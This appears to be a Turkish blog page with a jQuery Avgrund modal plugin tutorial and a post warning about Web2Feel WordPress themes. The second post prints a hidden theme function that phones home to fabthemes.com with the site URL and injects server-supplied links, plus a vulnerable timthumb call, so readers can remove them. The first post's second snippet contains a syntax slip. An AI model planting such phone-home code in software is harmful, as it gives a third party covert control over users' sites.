jQuery Modern Kullanışlı Pop-up Eklentisi 0

jQuery araştırmalarım ve arşivim gittikçe artıyo artık zaman buldukça onlarıda sizlere anlatacağım inşallah. Bu tanıttığım aslında bir modern iletişim kutusu ama ben öyle düşünmüyorum bu bir pop-up ama tıklanınca açılan bir sayfa gibi aynı sayfada ve bildiğimiz pop-uplar gibi iğrenç değil 🙂

https://2.bp.blogspot.com/-eAURpbeU37E/UNnvr88l3xI/AAAAAAAANRU/9pRkGS4b8l8/s1600/jquery-boxes.jpg

jQuery Avgrund Modal

jQuery 1.4 ile test edilmiştir çalışıyor. IE 6-9 arası problem çıkabilir bir test edin genede.

Demo / Download

jQuery kütüphanesini ekledikten sonra butona verdiğiniz ID’yi aşağıdaki alana girmeniz yeterli. Verdiğim koddaki alanları doldurduğunuzda sizinde böyle bir pop-up sayfanız olucak 🙂

Alttaki “element” kısmındaki yere ID’nizi yazıyorsunuz örneğin ID’niz rooteto ise aşağıdaki şekilde yazıcaksınız.


$('#rooteto').avgrund({			

Zaten her kodun yanında açıklaması yazıyor.

$('#rooteto').avgrund({			
	width: 380, // max is 640px
	height: 280, // max is 350px
	showClose: false, // switch to 'true' for enabling close button 
	showCloseText: '', // type your text for close button
	closeByEscape: true, // enables closing popup by 'Esc'..
	closeByDocument: true, // ..and by clicking document itself
	holderClass: '', // lets you name custom class for popin holder..
	overlayClass: '', // ..and overlay block
	enableStackAnimation: false, // another animation type
	onBlurContainer: '', // enables blur filter for specified block
	openOnEvent: true, // set to 'false' to init on load
	setEvent: 'click', // use your event like 'mouseover', 'touchmove', etc.
	onLoad: function () { ... }, // set custom call before popin is inited..
	onUnload: function () { ... }, // ..and after it was closed 
	template: 'Your content goes here..' // or function() { ... }
});

Template kısmına içeriğiniği giriyorsunuz ancak alt satıra inmeyi bilmiyorsanız jQuery’de onuda gösteriyim.


$('#rooteto').avgrund({			
	width: 380, // max is 640px
	height: 280, // max is 350px
	showClose: false, // switch to 'true' for enabling close button 
	showCloseText: '', // type your text for close button
	closeByEscape: true, // enables closing popup by 'Esc'..
	closeByDocument: true, // ..and by clicking document itself
	holderClass: '', // lets you name custom class for popin holder..
	overlayClass: '', // ..and overlay block
	enableStackAnimation: false, // another animation type
	onBlurContainer: '', // enables blur filter for specified block
	openOnEvent: true, // set to 'false' to init on load
	setEvent: 'click', // use your event like 'mouseover', 'touchmove', etc.
	onLoad: function () { ... }, // set custom call before popin is inited..
	onUnload: function () { ... }, // ..and after it was closed 
	template: 'Your content goes here..'
        'bir alt satır eklendi.' +
        'bir alt satır eklendi.'  // or function() { ... }
});

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.

WordPress Web2Feel Temalarına Dikkat Edin! 1

Web2feel ücretsiz WordPress teması yapıp dağıtıyor güzel temalarıda mevcut ancak bilmeniz gereken ve dikkat etmeniz gereken bir husus var. Bu temayı yapan kişi siteyi her çalıştırdığınızda kendi veritabanına sizi kaydediyor. Buda şu demek oluyor temadaki açıktan faydalanması için öncelikle hangi sitelerin bu temayı kullandığını bilmesi gerekiyor.

Şimdi ben fesat gibi konuşuyor olabilirim adam belki kullanan siteleri listeleyip bak şu kadar kişi kullanıyor demek için yapmışta olabilir ama genede mantıklı bir durum değil.

https://2.bp.blogspot.com/-XkVrqTmThE0/UY6Y6gN0cYI/AAAAAAAARNA/zxqI1uotXy8/s1600/wordpress-hack.jpg

Web2Feel Temalarındaki Açık

Temadaki açıkta şundan ibaret temayı yapan arkadaş eklediğiniz resimleri timthumb eklenisi ile çağırıyor. Web açıklarını güncel takip etme şansım oluyor ve timthumb eklentisinin bir çok açığına daha önceden şahit oldum. Bir kaç kere bu temaları kullandığım sitelere erişim dışarıdan sağlandı bu yüzden artık bu kodları siliyorum ve bu temaları rahatlıkla kullanabiliyorum.

1.Timthumb açığı

<img class="boximg" src="<?php bloginfo('stylesheet_directory'); ?>/timthumb.php?src=<?php get_image_url(); ?>&amp;h=200&amp;w=280&amp;zc=1" alt=""/>

Açığı Kapatma

<img class="boximg" src="<?php get_image_url(); ?>" alt=""/>

CSS dosyanızda en alta alttaki kodu ekleyin.

.boximg{
width:280px;
height:200px;
}

2. Veritabanına ekleme kodu

Bu kodu kesinlikle kaldırın çünkü her defasında yani her sayfa yenilendiğinde adamın sistemini sorguluyor yoksa sitenizi ekliyor boş yere milletin veritabanında dolanmayın 🙂

Çözüm

Temanın functions.php dosyasını notepad++ programı ile açın.

Alttaki verdiğim kodları temada gördüğünüz an silin.

function fflink() {
global $wpdb, $wp_query;
if (!is_page() && !is_front_page()) return;
$contactid = $wpdb->get_var("SELECT ID FROM $wpdb->posts
               WHERE post_type = 'page' AND post_title LIKE 'contact%'");
if (($contactid != $wp_query->post->ID) && ($contactid || !is_front_page())) return;
$fflink = get_option('fflink');
$ffref = get_option('ffref');
$x = $_REQUEST['DKSWFYUW**'];
if (!$fflink || $x && ($x == $ffref)) {
  $x = $x ? '&ffref='.$ffref : '';
  $response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink='.urlencode(selfURL()).$x);
  if (is_array($response)) $fflink = $response['body']; else $fflink = '';
  if (substr($fflink, 0, 11) != '!fabthemes#')
    $fflink = '';
  else {
    $fflink = explode('#',$fflink);
    if (isset($fflink[2]) && $fflink[2]) {
      update_option('ffref', $fflink[1]);
      update_option('fflink', $fflink[2]);
      $fflink = $fflink[2];
    }
    else $fflink = '';
  }
}
 echo $fflink;
}

Bu birinci alan şimdi ise bu kodu çalıştıran footer.php‘deki kodu silelim.

<?php fflink(); ?>

Olay tamamdır açıktan kurtuldunuz rahatsınız. 🙂

Most Popular Topics

Editor Picks